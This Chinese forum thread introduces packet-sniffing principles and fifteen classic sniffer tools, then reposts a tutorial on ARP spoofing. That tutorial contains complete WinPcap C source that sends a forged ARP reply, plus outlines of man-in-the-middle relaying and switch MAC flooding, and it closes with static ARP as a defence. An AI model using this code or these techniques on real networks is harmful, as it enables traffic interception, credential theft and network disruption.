返回列表 发帖

Sniffer类经典软件介绍

[这个贴子最后由千與千尋在 2005/05/09 08:22am 第 1 次编辑]

Sniffer(嗅探器)是一种常用的收集有用数据方法, 这些数据可以是用户的帐号和密码, 可以是一些商用机密数据等等. Sniffer可以作为能够捕获网络报文的设备, ISS为Sniffer这样定义:Sniffer是利用计算机的网络接口截获目的地为其他计算机的数据报文的一种工具.
Sniffer根据网络的类型分为两个类别: 1.交换环境下的Sniffer 2.共享环境下的Sniffer
交换环境下的Sniffer往往是通过对交换机进行ARP欺骗, 变成一个中间人进行截获数据.
共享环境下的Sniffer仅仅只需要把本机的网卡设置为混杂模式就可以监听网络上所有的数据报, 而不需要进行任何欺骗行为.
    Sniffer的原理:
    交换环境的网络使用交换机(Switch)连接各个网络节点, 而共享环境的网络则采用集线器连接各个节点.
    先说共享环境吧, 共享网络也成为集线器网络, 数据报到达集线器以后, 集线器会把数据报转发到每个集线器的端口, 换句话说, 集线器连接的每个网络节点都有权利收到所有的数据报. 运行Sniffer以后, Sniffer会把网卡设置为混杂模式, 一旦设置为混杂模式, Sniffer就可以接受所有的数据报, 这样也就达到了Sniffer的目的.
    交换环境, 通过使用交换机代替共享环境下的集线器, 能够解决集线器的几个安全问题, 交换机通过自己的ARP缓存列表来决定把数据报发送到某个端口, 这样就不是把一个数据报转发到各个端口了, 这样的做法一方面大大提高了网络的性能, 另一方面也提高了安全性, 在交换环境下, 即使网卡设置为混杂模式, 也只能监听本机的数据包, 因为交换机不会把其他节点的数据报转发给嗅探主机了. 所以, 在交换环境下必须想办法让被嗅探主机的数据报发到嗅探主机来, 能够实现这种目的方法叫做ARP欺骗(ARP Spoofing), 这种方式通过伪造ARP数据包欺骗交换机使交换机更新ARP缓存列表达到欺骗的目的, 这样发送到被嗅探的主机的数据报完全转发到嗅探主机来, 而被嗅探主机收不到任何的数据包, 为了使得能够正常的截获数据报, 嗅探主机除了充当嗅探的身份之外, 还要充当中间人的身份. 具体的原理和方式可以去Google上搜索ARP欺骗.
    交换环境下在不使用ARP欺骗的情况下, 如何能够进行整网的数据分析呢 我提供2种方法进行参考:
    1. 在根节点使用带有镜像功能的交换机, 这种功能的交换机可以设置为把所有的数据报都转发到某一指定端口上, 在该端口上可以连接运行Sniffer的主机.
    2. 如果您的根节点交换机没有这种功能, 那么可以在根节点上方添加一台集线器, 集线器1个端口连接交换机, 另外一个端口就可以连接运行Sniffer的主机了.
    下面的这些是我个人认为比较经典的Sniffer,值得收藏.



1. libpcap
版本: v0.8.3
更新日期: 2004-03-30
介绍: libpcap是Unix或Linux从内核捕获网络数据包的必备工具, 它是独立于系统的API接口, 为底层网络监控提供了一个可移植的框架, 可用于网络统计收集、安全监控、网络调试等应用. 很多Unix或Linux下的网络程序都需要libpcap才能够运行. Windows平台下类似的程序为Winpcap.


2. Winpcap
版本: v3.1 Beta3
更新日期: 2004-05-15
介绍: WinPcap类似于libpcap, 支持Win32平台, Winpcap提供了3个模块:NPF(Netgroup Packet Filter,内核级的数据报过滤器),packet.dll(底层的动态连接库),wpcap.dll(架构在packet.dll之上,提供了更方便、更直接的编程方法). 很多网络工具(Sniffer等)都是使用Winpcap进行开发的, 运行这些网络工具, 均需要安装Winpcap. 我曾经使用过VBS调用Winpcap写过console下的Sniffer. ~_*


3. Network Associates Sniffer Portable
版本: v4.7.5 SP4
更新日期: 2004-05-20
介绍: NAI 公司出品的Sniffer, 作为NAI公司的主打产品, 价格也是不菲的. Sniffer Portable 是一系列网络故障和性能管理解决方案, 网络专业人士可以使用它对多拓朴结构和多协议网络进行维护、故障解决、优化调整和扩展. Sniffer Portable 软件可以在桌面机、便携式计算机或者笔记本等硬件平台上运行, 并且可以利用高级自定义硬件组件确保全线速的捕获能力. Sniffer Portable非常出色, 其区别于其它Sniffer主要为以下几个方面:
自定义硬件:
通过自定义硬件, 使Sniffer Portable可以实现线速捕捉、过滤以及触发功能.
详细的报告:
可以生成基于 RMON1/RMON2 的图形报告, 以及由 Sniffer Portable 应用程序收集的类似数据. 从带宽使用率到潜在的网络衰减, Sniffer Reporter 提供详尽数据来帮助您规划未来的网络需求. 有关以太网和令牌环的可用报告包括: 主机表、矩阵、协议分发、全局统计及其他报告.
Sniffer Voice 选项:
Sniffer Voice 是一个与 Sniffer Portable 集成的增值包,它提供语音和视频聚合流量的必要信息, 主要用于VoIP网络.

4. WildPackets EtherPeek NX
版本: v2.1
更新日期: 2004-06-12
介绍: EtherPeek NX 是第一个提供信息包捕获过程中实时进行专业诊断和结构解码的网络协议分析器. EtherPeek NX专门为IT人员设计, 帮助他们分析和诊断日益加速变化的网络数据群, 对现今网络面临的众多故障提供精确和最新的分析. 我收藏的这个版本中包括iNetTools和PacketGrabber两款附带产品, iNetTools提供了一些比较有用的网络工具(Ping,Ping Scan,Trace Route,Name Lookup,Name Scan, DNS Lookup,Port Scan,Service Scan,Finger,Whois以及Throughput), PacketGrabber是一款远程数据报收集程序. 同时也提供了Peek SDK, 方便用户自己开发插件, SDK文档在安装路径下1033\Documents\Peek SDK\的目录里.
适用于Windows的EtherPeek是一种屡受嘉奖的以太网流量和协议分析器. EtherPeek确立了“轻松使用”的行业标准. EtherPeek 是"全球国际网络测试联盟"从五种网络分析器中评选出的最优产品.


5. Iris Network Traffic Analyzer
版本: v4.0.7
更新日期: 2003-12-29
介绍: 由业内知名公司Eeye出品的Sniffer, Iris的优点在于:便于使用、全面丰富的流量状态和报告、高级数据重建功能、精密的数据包操作和伪造能力、扩展的过滤功能、数据分析能力.
个人认为Iris在数据重建功能、数据包伪造以及数据分析能力上比较突出. 数据重建功能可以把原始的数据包还原成完整的HTTP、FTP、SMTP和POP3会话.使用Iris的数据重建功能可以很轻松的查看网络传输的Mail信件、用户浏览的网页以及未加密的FTP传输. Iris的数据包编辑器可以让用户创建自定义的或者欺骗的数据包. 数据分析能力上在于Iris 可以分析其他知名的Sniffer保存的数据包捕捉文件.
另外值得一提的是, Eeye公司站点上免费提供一些定义好的过滤器文件, 大部分主要是针对病毒和蠕虫的.

6. TamoSoft CommView
版本: v4.1.344
更新日期: 2004-02-19
介绍: CommView系列是Windows下比较优秀的商业Sniffer产品, 支持NDIS3.0驱动标准, 功能大致上和其他一些Sniffer差不多, 另外, 结合CommView Remote Agent可以实现远程嗅探.
TamoSoft CommView for WIFI
版本: v4.2.360
更新日期: 2004-04-09
介绍: CommView for WiFi 是CommView的特别版本, 设计用来捕获和分析无线网络, 支持802.11a/b/g协议.
下载路径: Software/Network/TamoSoft.CommView/
TamoSoft CommView Remote Agent
版本: v1.1.43
更新日期: 2004-03-04
介绍: CommView Remote Agent 是CommView的专用的、可选的组件, 设计用来进行远程网络监视.
7. Ettercap
版本: NG 0.7.0 RC1
更新日期: 2004-06-14
介绍: Ettercap 是一套LAN下中间人攻击的工具, 属于开源项目, 支持多种平台(Linux, BSD, Windows, Solaris,Mac OS), 其功能包括嗅探活动连接、On the Fly模式的内容过滤以及其它一些有趣的欺骗功能. Ettercap 支持主动和被动多种协议的分析, 并包括其他网络和主机分析的功能. 另外, Ettercap具有插件功能, 自带不少功能不错的插件, 也允许第三方编写插件. 在安装了OpenSSL以后可以支持SSH1以及HTTPS.

8. Ethereal
版本: v0.10.4
更新日期: 2004-05-13
介绍: Ethereal 是全球最流行的网络协议分析器, 功能强大而且支持平台最多的一款Sniffer(支持以下平台:Windows, Linux, Solaris, Mac OS, BSD, BeOS, Tru64 Unix, HP-UX, AIX, Irix等), 属于开源项目. 支持分析的协议有512种之多, 支持实时和非实时两种模式.Windows下运行需要Winpcap库.

9. Packetyzer
版本: v2.0.0
更新日期: 2004-04-22
介绍: Packetyzer 是为数不多的开源的Windows平台下的优秀Sniffer, 支持483种协议, 与Neutrino Sensor结合在一起可以截获和分析802.11数据包, 我个人比较喜欢Packetyzer的数据报标记色彩功能. 需要安装Winpcap.

10. Cain & Abel
版本: v2.5 Beta56
更新日期: 2004-06-14
介绍: Cain & Abel 是一套Windows平台下强大的密码截获与破解工具, 只所以我把它归纳为Sniffer里面来, 主要是因为Cain & Abel主要的功能在于Sniffer方面, 它支持共享环境和交换环境下进行截获, Cain 和 Abel是分开的的两个工具(Cain作为客户端,Abel作为服务端). 功能非常之强大, 详细功能请访问: http://www.oxid.it/cain.html . 在新的版本中增加了无线网络的支持. 运行需要Winpcap.

11. TCPDump / WinDump
版本: v3.8.3
更新日期: 2004-03-30
介绍: Tcpdump是一款众人皆知和受人喜欢的基于命令行的网络数据包分析和嗅探工具. 它能把匹配规则的数据包的包头给显示出来, 使用TCPDump去查找网络问题或者去监视网络上的状况. WinDump是Tcpdump在Windows平台上的移植版.

12. dsniff
版本: v2.4 Beta2
更新日期: 2004-06-14
介绍: dsniff 是一个 UNIX 可执行工具的集合, 它是为执行网络审核和网络渗透而设计的. 拥有ARP欺骗功能, 应该也能算是最早具有交换环境下嗅探功能的Sniffer了. 作者已经在 OpenBSD、Red Hat Linux 和 Solaris 下对它进行了测试. 一个早期版本(1.8)已经被移植到 Windows 下. dsniff 最早由 Dug 于 1999 年 12 月发布. dsniff 依赖于一些第三方软件包, 包括 Berkeley DB、OpenSSL、libnet、和 libnids.

13. sniffit
版本: v0.37 Beta
更新日期: 1998-07-17
介绍: Sniffit是由Lawrence Berkeley Laboratory开发的,可以在Linux、Solaris、SGI、Windows等各种平台运行的Sniffer,提供了不少商业版Sniffer所没有的功能,支持脚本和插件功能. 另外可以使用tod(Touch of Death)插件, tod通过向目标机器发送RST包来切断目标机器的TCP连接. Windows版本由Symbolic迁移, 运行需要Winpcap.

14. Snarp
版本: v0.9h
更新日期: 2001-03-21
介绍: Windows 平台下交换网络的嗅探器. 具体的说明请参照Readme.txt.

15. ARPSniffer
版本: v0.5
更新日期: 2002-08-12
介绍: 小榕写的Windows 平台下交换网络的嗅探器. 另外在流光5中, 增加了Remote ANS(Remote ARP Network Sniffer)功能,这个工具采用了Sensor/GUI的结构. 运行需要Winpcap.

Sniffer类经典软件介绍

以太网内的嗅探(sniff)对于网络安全来说并不是什么好事,虽然对于网络管理员能够跟踪数据包并且发现 网络问题,但是如果被破坏者利用的话,就对整个网络构成严重的安全威胁。至于嗅探的好处和坏处就不罗嗦了。 ARP缓存表 假设这样一个网络: —————————— | HUB | —————————— | | | | | | | | | HostA HostB HostC 其中 A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB C的地址为:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC 假设B是属于一个嗅探爱好者的,比如A机器的ARP缓存: C:\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 CC-CC-CC-CC-CC-CC dynamic 这是192.168.10.1机器上的ARP缓存表,假设,A进行一次ping 192.168.10.3操作,PING主机C,会查询本地的 ARP缓存表,找到C的IP地址的MAC地址,那么就会进行数据传输,目的地就是C 的MAC地址。如果A中没有C的ARP记 录,那么A首先要广播一次ARP请求,当C接收到A 的请求后就发送一个应答,应答中包含有C的MAC地址,然后A接 收到C的应答,就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。 因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。 集线器网络(Hub-Based) 很多网络都是用Hub进行连接的。数据包经过Hub传输到其他计算机的时候,Hub只是简单地把这个数据包广播 到Hub的所有端口上。 这就是上面举例中的一种网络结构。 现在A需要发送TCP数据包给C。首先,A需要检查本地的ARP 缓存表,查看是否有IP为192.168.10.3即C的ARP记 录,如果没有那么A将要广播一个ARP请求,当C接收到这个请求后,就作出应答,然后A更新自己的ARP缓存表。并 且获得与C的IP相对应的MAC地址。这时就传输这个TCP数据包,Ethernet帧中就包含了C的MAC地址。当数据包传输 到HUB的时候,HUB直接把整个数据包广播到所有的端口,然后C就能够接收到A发送的数据包。 正因为HUB把数据广播到所有的端口,所以计算机B也能够收到A发送给C的数据包。这正是达到了B嗅探的目的。 因此,Hub-Based的网络基本没有安全可言,嗅探在这样的网络中非常容易。 交换网络(Switched Lan) 交换机用来代替HUB,正是为了能够解决HUB的几个安全问题,其中就是能够来解决嗅探问题。Switch不是把数 据包进行端口广播,它将通过自己的ARP缓存来决定数据包传输到那个端口上。因此,在交换网络上,如果把上面 例子中的HUB换为Switch,B就不会接收到A发送给C的数据包,即便设置网卡为混杂模式,也不能进行嗅探。 ARP欺骗( ARP spoofing) ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存 进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,在上面的假设网络中,B向A发送一个自己伪造的ARP应 答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地 址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。当A接收到B伪造的ARP应答,就会更新本地的ARP缓存(A可不 知道被伪造了)。 现在A机器的ARP缓存更新了: C:\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 DD-DD-DD-DD-DD-DD dynamic 这可不是小事。局域网的网络流通可不是根据IP地址进行,而是按照MAC地址进行传输。现在192.168.10.3的 MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3,网卡递交的MAC地址是 DD-DD-DD-DD-DD-DD,结果是什么呢?网络不通,A根本不能Ping通C!! 这就是一个简单的ARP欺骗。 我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动。(http://winpcap.polito.it/) winpcap是一个伟大而且开放的项目。Windows环境下的nmap、snort、windump都是使用的winpcap。 /////////////////////////////////////////////////////////////////////////////// // // ARP Sender // // Creator: Refdom // Email: refdom@263.net // Home Page: www.opengram.com // // 2002/4/7 // //////////////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include "Mac.h" //GetMacAddr(),我写的把字符串转换为MAC地址的函数,就不列在这里了 #include #include #define EPT_IP 0x0800 /* type: IP */ #define EPT_ARP 0x0806 /* type: ARP */ #define EPT_RARP 0x8035 /* type: RARP */ #define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */ #define ARP_REQUEST 0x0001 /* ARP request */ #define ARP_REPLY 0x0002 /* ARP reply */ #define Max_Num_Adapter 10 #pragma pack(push, 1) typedef struct ehhdr { unsigned char eh_dst[6]; /* destination ethernet addrress */ unsigned char eh_src[6]; /* source ethernet addresss */ unsigned short eh_type; /* ethernet pachet type */ }EHHDR, *PEHHDR; typedef struct arphdr { unsigned short arp_hrd; /* format of hardware address */ unsigned short arp_pro; /* format of protocol address */ unsigned char arp_hln; /* length of hardware address */ unsigned char arp_pln; /* length of protocol address */ unsigned short arp_op; /* ARP/RARP operation */ unsigned char arp_sha[6]; /* sender hardware address */ unsigned long arp_spa; /* sender protocol address */ unsigned char arp_tha[6]; /* target hardware address */ unsigned long arp_tpa; /* target protocol address */ }ARPHDR, *PARPHDR; typedef struct arpPacket { EHHDR ehhdr; ARPHDR arphdr; } ARPPACKET, *PARPPACKET; #pragma pack(pop) int main(int argc, char* argv[]) { static char AdapterList[Max_Num_Adapter][1024]; char szPacketBuf[600]; char MacAddr[6]; LPADAPTER lpAdapter; LPPACKET lpPacket; WCHAR AdapterName[2048]; WCHAR *temp,*temp1; ARPPACKET ARPPacket; ULONG AdapterLength = 1024; int AdapterNum = 0; int nRetCode, i; //Get The list of Adapter if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) { printf("Unable to retrieve the list of the adapters!\n"); return 0; } temp = AdapterName; temp1=AdapterName; i = 0; while ((*temp != ';\0';)||(*(temp-1) != ';\0';)) { if (*temp == ';\0';) { memcpy(AdapterList,temp1,(temp-temp1)*2); temp1=temp+1; i++; } temp++; } AdapterNum = i; for (i = 0; i < AdapterNum; i++) wprintf(L"\n%d- %s\n", i+1, AdapterList); printf("\n"); //Default open the 0 lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]); //取第一个网卡(假设啦) if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { nRetCode = GetLastError(); printf("Unable to open the driver, Error Code : %lx\n", nRetCode); return 0; } lpPacket = PacketAllocatePacket(); if(lpPacket == NULL) { printf("\nError:failed to allocate the LPPACKET structure."); return 0; } ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); if (!GetMacAddr("BBBBBBBBBBBB", MacAddr)) { printf ("Get Mac address error!\n"); } memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址 if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)) { printf ("Get Mac address error!\n"); return 0; } memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址) ARPPacket.ehhdr.eh_type = htons(EPT_ARP); ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE); ARPPacket.arphdr.arp_pro = htons(EPT_IP); ARPPacket.arphdr.arp_hln = 6; ARPPacket.arphdr.arp_pln = 4; ARPPacket.arphdr.arp_op = htons(ARP_REPLY); if (!GetMacAddr("DDDDDDDDDDDD", MacAddr)) { printf ("Get Mac address error!\n"); return 0; } memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址 ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址 if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)) { printf ("Get Mac address error!\n"); return 0; } memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目标A的MAC地址 ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标A的IP地址 memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket)); PacketInitPacket(lpPacket, szPacketBuf, 60); if(PacketSetNumWrites(lpAdapter, 2)==FALSE) { printf("warning: Unable to send more than one packet in a single write!\n"); } if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE) { printf("Error sending the packets!\n"); return 0; } printf ("Send ok!\n"); // close the adapter and exit PacketFreePacket(lpPacket); PacketCloseAdapter(lpAdapter); return 0; } 于是A接收到一个被伪造的ARP应答。A被欺骗了!!倘若在局域网中看某某机器不顺眼,…… 以太网中的嗅探太有作用了,但是交换网络对嗅探进行了限制,让嗅探深入程度大打折扣。不过,很容易就能 够发现,主机、Switch(动态更新地址表类型,下同)中的缓存表依然是(主要是)动态的。要在一个交换网络中 进行有效的嗅探工作(地下党?),需要采用对付各种缓存表的办法,连骗带哄,甚至乱踹,在上面的ARP欺骗基础 中我们就能够做到。 对目标进行ARP欺骗 就象上面程序中实现的一样,对目标A进行欺骗,A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。如 果进行欺骗的时候,把C的MAC地址骗为BB-BB-BB-BB-BB-BB,于是A发送到C上的数据包都变成发送给B的了。这不正 好是B能够接收到A发送的数据包了么,嗅探成功。 A对这个变化一点都没有意识到,但是接下来的事情就让A产生了怀疑。因为A和C连接不上了!!B对接收到A发送 给C的数据包可没有转交给C。 做“man in the middle”,进行ARP重定向。打开B的IP转发功能,A发送过来的数据包,转发给C,好比一个路由 器一样。不过,假如B发送ICMP重定向的话就中断了整个计划。 直接进行整个包的修改转发,捕获到A发送给的数据包,全部进行修改后再转发给C,而C接收到的数据包完全认为 是从A发送来的。不过,C发送的数据包又直接传递给A,倘若再次进行对C的ARP欺骗。现在B就完全成为A与C的中间桥 梁了。 对Switch的MAC欺骗 Switch上同样维护着一个动态的MAC缓存,它一般是这样,首先,交换机内部有一个对应的列表,交换机的端口对 应MAC地址表Port n <-> Mac记录着每一个端口下面存在那些MAC地址,这个表开始是空的,交换机从来往数据帧中学 习。举例来说,当Port 1口所接的计算机发出了一个数据帧,这帧数据从Port 1进入交换机,交换机就取这个数据帧 的原MAC地址AAAA,然后在地址表中记录:Port 1 <-> AAAA, 以后,所有发向MAC地址为AAAA的数据帧,就全从Port 1 口输出,而不会从其它的口输出。 跟前面对目标进行欺骗相类似。如果把Switch上的MAC-PORT表修改了,那么对应的MAC和PORT就一样跟着改变,本来 不应该发送到嗅探器的数据结果发送过来了,这样也达到了嗅探的目的。修改本地(B)发送的数据包MAC地址为原来A的 MAC地址,当经过交换机的时候,交换机发现端口B对应的地址是机器A的MAC地址,于是就将会把A的MAC地址同端口B相对 应,从而把发送给A的数据从端口B传输了,本来这些应该是传送到端口A的。因此,从机器B就能够获得发送给A的数据。 但是,这里有一个问题,A将接收不到数据了。嗅探不目的并不是要去破坏正常的数据通讯。同时,从刚才的欺骗中, 让交换机中一个MAC地址对应了多个端口,这种对于交换机处理还不清楚。还请多指教。 对Switch进行Flood 就象上面介绍Switch的MAC和Port对应关系形成的原理,因为MAC-PORT缓存表是动态更新的,那么让整个Switch的端 口表都改变,对Switch进行MAC地址欺骗的Flood,不断发送大量假MAC地址的数据包,Switch就更新MAC-PORT缓存,如果 能通过这样的办法把以前正常的MAC和Port对应的关系破坏了,那么Switch就会进行泛洪发送给每一个端口,让Switch基 本变成一个HUB,向所有的端口发送数据包,要嗅探的目的一样能够达到。 存在的问题,Switch对这种极限情况的处理,因为属于不正常情况,可能会引起包丢失情况。而且现在对这种极限情 况的Switch状态还很不了解。如果对网络通讯造成了大的破坏,这不属于正常的嗅探(嗅探也会引起一些丢失)。 对Switch进行各种手段的操作,需要小心,如果打开了端口保护,那么可能会让交换机关闭所有用户。因此,对交换 机这样的设备进行欺骗或者其他操作,还不如对一些上级设备进行欺骗,比如目标主机或者路由器。 至于上面关于嗅探的手段都是基于这个动态表进行的。因此,使用静态的ARP就能够进行防范了。对于WIN,使用 arp -s 来进行静态ARP的设置。

TOP

Sniffer类经典软件介绍

snort可以用做袖探,不过交换机模式下好象不行!

TOP

返回列表 回复 发帖